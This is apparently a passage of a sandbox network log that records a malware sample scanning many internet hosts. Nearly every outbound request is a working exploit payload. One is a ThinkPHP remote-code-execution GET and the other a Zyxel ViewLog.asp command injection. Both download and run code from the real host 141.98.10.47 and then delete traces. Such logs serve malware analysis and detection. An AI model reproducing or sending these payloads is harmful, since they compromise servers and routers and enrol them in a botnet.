74 3a 61 75 74 6f 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 20 7d 0a 20 20 20 20 20 20 20 20 64 69 76 20 7b 77 69 64 74 68 3a 33 37 35 70 78 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 7d 0a 20 20 20 20 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 63 6f 6c 6f 72 3a 20 23 33 34 35 33 36 41 3b 7d 0a 20 20 20 20 20 20 20 20 61 3a 76 69 73 69 74 65 64 20 7b 63 6f 6c 6f 72 3a 20 23 33 34 35 33 36 41 3b 7d 0a 20 20 20 20 20 20 20 20 61 3a 61 63 74 69 76 65 20 7b 63 6f 6c 6f 72 3a 20 23 33 34 35 33 36 41 3b 7d 0a 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 63 6f 6c 6f 72 3a 20 23 33 34 35 33 36 41 3b 7d 0a 20 20 20 20 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <title>404 — Page Not Found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <meta name="description" content="404 - Page Not Found"/> <style type="text/css"> body {font-size:14px; color:#777777; font-family:arial; text-align:center;} h1 {font-size:180px; color:#99A7AF; margin: 70px 0 0 0;} h2 {color: #DE6C5D; font-family: arial; font-size: 20px; font-weight: bold; letter-spacing: -1px; margin: -3px 0 39px;} p {width:375px; text-align:center; margin-left:auto;margin-right:auto; margin-top: 30px } div {width:375px; text-align:center; margin-left:auto;margin-right:auto;} a:link {color: #34536A;} a:visited {color: #34536A;} a:active {color: #34536A;} a:hover {color: #34536A;} </sty
Dec 26, 2023 21:24:42.359004021 CET	421	IN	Data Raw: 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 6f 64 61 79 2e 63 61 74 68 6f 72 69 73 2e 63 6f 6d 2f 22 3e 74 6f 64 61 79 2e 63 61 74 68 6f 72 69 73 2e 63 6f 6d 3c Data Ascii: le></head><body> <p><a href="http://today.cathoris.com/">today.cathoris.com</a></p> <h1>404</h1> <h2>Page Not Found</h2> <div> The page you were trying to reach does not exist. Or, maybe it has moved. You can

Session ID	Source IP	Source Port	Destination IP	Destination Port
369	192.168.2.23	60096	94.120.158.191	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:40.909591913 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
370	192.168.2.23	44612	95.100.64.237	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:41.988945961 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:42.231714010 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:24:42 GMT Date: Tue, 26 Dec 2023 20:24:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 61 37 61 37 62 35 63 26 23 34 36 3b 31 37 30 33 36 32 32 32 38 32 26 23 34 36 3b 33 39 35 37 62 39 36 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.aa7a7b5c.1703622282.3957b966</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
371	192.168.2.23	52676	94.123.141.88	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:42.497502089 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
372	192.168.2.23	60542	95.216.172.28	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:43.037261963 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:43.308499098 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:24:43 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
373	192.168.2.23	56372	95.217.66.195	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:43.039803982 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:43.872023106 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:44.146959066 CET	903	IN	HTTP/1.1 400 Bad Request content-type: text/html cache-control: private, no-cache, max-age=0 pragma: no-cache content-length: 679 date: Tue, 26 Dec 2023 20:24:41 GMT server: LiteSpeed connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
374	192.168.2.23	43610	94.120.217.59	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:43.216208935 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
375	192.168.2.23	54454	95.106.147.61	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:45.638807058 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
376	192.168.2.23	41128	88.99.37.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:46.201307058 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:46.450277090 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:24:46 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
377	192.168.2.23	42734	88.255.52.131	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:46.237987995 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
378	192.168.2.23	43602	62.29.70.104	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:46.826065063 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
379	192.168.2.23	35102	62.29.71.240	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:46.826478004 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
380	192.168.2.23	38904	94.187.115.214	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:47.107655048 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
381	192.168.2.23	44002	94.121.123.76	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:49.429261923 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
382	192.168.2.23	48844	85.193.240.55	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:49.430207014 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:49.712320089 CET	345	IN	HTTP/1.0 302 Redirect Date: Tue, 26 Dec 2023 20:24:48 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Location: http://192.168.0.14:80/login.htm Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 52 65 64 69 72 65 63 74 3c 2f 48 31 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 6c 6f 67 69 6e 2e 68 74 6d 22 3e 68 65 72 65 3c 2f 41 3e 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD></HEAD><BODY><H1>302 Redirect</H1>The document has moved<A HREF="login.htm">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
383	192.168.2.23	41030	31.10.11.40	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:49.432598114 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
384	192.168.2.23	40664	62.29.125.162	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:49.709923983 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
385	192.168.2.23	34990	94.120.209.184	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:49.709964037 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:51.152578115 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:52.848406076 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:56.335932970 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:03.246877909 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:16.813054085 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
